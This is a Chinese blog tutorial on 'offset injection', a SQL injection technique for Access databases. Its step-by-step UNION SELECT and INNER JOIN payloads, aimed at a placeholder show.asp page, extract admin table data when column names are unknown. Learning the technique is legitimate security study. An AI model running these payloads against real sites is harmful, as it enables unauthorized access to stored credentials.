zoukankan      html  css  js  c++  java
  • 偏移注入

    0x00:前言

    应用场景:Access、mysql数据库,知道表名,但是列名猜解不出来。

    偏移注入是access比较独有的一种注入手段,很有特点(人品)的注入方式,一般用于在猜解了表名但是没有猜解出列名的情况下使用

    0x01:流程

    (1)注入点

    (2)判断字段数

    order by

    (3)判断显示位置

    union select 1,2,3,4,5,6...... from table

    :还有隐性显位!例如:

    表面上只有这些

     查看页面源码

     (4)偏移注入

    判断admin 表的列数

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* from admin     返回错误

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin

    .......

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin    返回正确

    说明  admin 表中有6个字段

    偏移注入的计算

    order by 出来的字段数减去 * 号前的字段数,然后再用order by 出来的字段数减去2倍刚才得出来的答案

    * = 6个字符

    2 × * = 12个字符

    22 - 12 = 10个字符

    (5)数据

    一级偏移:

    union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

    :查看源码,有的是隐性显位

    二级偏移:

    union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

    0x02:总结

    注意隐性显位

    应用条件(抄别人的)核心问题:

    需要存在注入的当前表的列数 大于 目标表的列数

    参考链接:https://www.se7ensec.cn/2019/03/10/%E8%AE%B0%E4%B8%80%E6%AC%A1Access%E5%81%8F%E7%A7%BB%E6%B3%A8%E5%85%A5/

    别人的笔记:

     access偏移注入:解决列名获取不到的情况,有部分几率会直接得到数据

    1.猜字段数

    http://www.xxx.com/show.asp?id=123 order by 20 页面返回正确
    http://www.xxx.com/show.asp?id=123 order by 21 页面返回错误

    2.猜表名:

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
    返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:

    3.猜表下的字段数:

    为了让语句正确,用*来加长字段数:

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)
    … …
    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)

    此时就发现了admin表下有四个字段(20-16=4)。

    4.inner join 连接查询:

    inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
    首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on?a.id = b.id)
    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join?admin as b on a.id = b.id)

    上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字,再次使用inner join查询:
    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as?b on a.id=b.id) inner join admin as c on a.id=c.id)
  • 相关阅读:
    使SourceInsight支持Python语言的方法
    图解Join
    EularProject 42:单词解码出来的三角形数
    android-async-http二次封装和调用
    #20 Valid Parentheses
    udev详解【转】
    linux下udev简介【转】
    Linux USB 驱动开发(一)—— USB设备基础概念【转】
    Android updater-scripts(Edify Script)各函数详细说明【转】
    OTA制作及升级过程笔记【转】
  • 原文地址:https://www.cnblogs.com/liqik/p/12349824.html
Copyright © 2011-2022 走看看